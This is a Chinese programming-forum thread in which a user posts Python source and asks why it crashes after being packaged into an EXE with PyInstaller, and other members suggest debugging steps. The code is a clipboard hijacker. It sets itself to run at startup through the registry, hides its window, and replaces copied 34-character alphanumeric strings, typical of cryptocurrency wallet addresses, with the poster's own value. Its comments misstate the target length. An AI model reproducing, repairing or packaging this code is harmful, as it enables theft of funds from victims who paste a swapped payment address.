python程序在调试中运行一切正常,打包后就不能运行,直接闪退。
代码如下:import win32clipboard
import win32api
import win32con
import pythoncom
import pyHook
# 替换为你的 11 位数据串
my_data = "***********“
# 存储最后一次剪贴板内容
last_data = ''
# 添加开机自启
def add_to_startup(file_path):
key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(key, "My Application", 0, win32con.REG_SZ, file_path)
win32api.RegCloseKey(key)
# 隐藏窗口
def hide_console():
import win32console
import win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, win32con.SW_HIDE)
# 创建 hook 监听剪贴板内容改变
def OnClipboardChanged(event):
global last_data
# 获取剪贴板内容
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
# 如果剪贴板内容改变,且是 11 位数字串,则替换为你的数据串并写入剪贴板
if data != last_data and data.isalnum() and len(data) == 34:
last_data = data
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(my_data)
win32clipboard.CloseClipboard()
return True
# 设置 hook 监听剪贴板内容改变
def SetClipboardHook():
hm = pyHook.HookManager()
hm.KeyDown = OnClipboardChanged
hm.HookKeyboard()
pythoncom.PumpMessages()
win32clipboard.OpenClipboard()
win32clipboard.CloseClipboard()
# 添加开机自启
add_to_startup(r"C:\path\to\python.exe C:\path\to\your\script.py")
# 隐藏窗口
hide_console()
# 设置 hook 监听剪贴板内容改变
SetClipboardHook()
# 进入消息循环
pythoncom.PumpMessages()
在程序中调试是完全没问题的,但是我一打包EXE就会出问题,程序没法运行,但是也没有任何提示
请问各位老哥 怎么打包 能正常运行,或者这里面是否存在代码的问题。 你先不要用 -w 打包,弹出那个黑窗口你就知道哪里出错了 isdkz 发表于 2023-4-1 14:59
你先不要用 -w 打包,弹出那个黑窗口你就知道哪里出错了
应该怎么操作呢 能否讲解一下 大佬 a2236451 发表于 2023-4-1 15:07
应该怎么操作呢 能否讲解一下 大佬
你的打包命令是什么? isdkz 发表于 2023-4-1 15:08
你的打包命令是什么?
pyinstaller your_script.py
a2236451 发表于 2023-4-1 15:10
pyinstaller your_script.py
你以管理员权限运行打包后的文件看看,可能是没有权限 isdkz 发表于 2023-4-1 15:13
你以管理员权限运行打包后的文件看看,可能是没有权限
测试过了 程序一直处于闪退的状态 a2236451 发表于 2023-4-1 15:15
测试过了 程序一直处于闪退的状态
你打开cmd运行这个程序应该可以看到报错信息,可能是找不到模块 isdkz 发表于 2023-4-1 15:19
你打开cmd运行这个程序应该可以看到报错信息,可能是找不到模块
没办法看不到
本帖最后由 hrpzcf 于 2023-4-1 15:53 编辑
用调试模式打包先看一下出错信息 a2236451 发表于 2023-4-1 15:46
没办法看不到
WIN+R, CMD
CD 找到目录
XXX.exe hrpzcf 发表于 2023-4-1 15:49
用调试模式打包先看一下出错信息
打包了 运行了,但是看不到日志生成在哪里 a2236451 发表于 2023-4-1 16:07
打包了 运行了,但是看不到日志生成在哪里
加上--debug=all参数打包,打包完后在exe所在目录打开cmd,然后把exe拖到cmd,回车运行就能看到输出信息了 hrpzcf 发表于 2023-4-1 16:23
加上--debug=all参数打包,打包完后在exe所在目录打开cmd,然后把exe拖到cmd,回车运行就能看到输出信息 ...
输出信息直接闪退 a2236451 发表于 2023-4-1 23:16
输出信息直接闪退
你是咋运行的?双击??cmd程式不能双击运行 a2236451 发表于 2023-4-1 23:16
输出信息直接闪退
先打开cmd,怎么会闪退咧 hrpzcf 发表于 2023-4-2 11:12
先打开cmd,怎么会闪退咧
可能他就听不明白在cmd下运行{:10_277:} isdkz 发表于 2023-4-2 20:52
可能他就听不明白在cmd下运行
可能在cmd里运行时程序又打开一个新的控制台了,新控制台是会自己关闭的,不过用调试模式打包不应该出现这种情况的啊
页:
[1]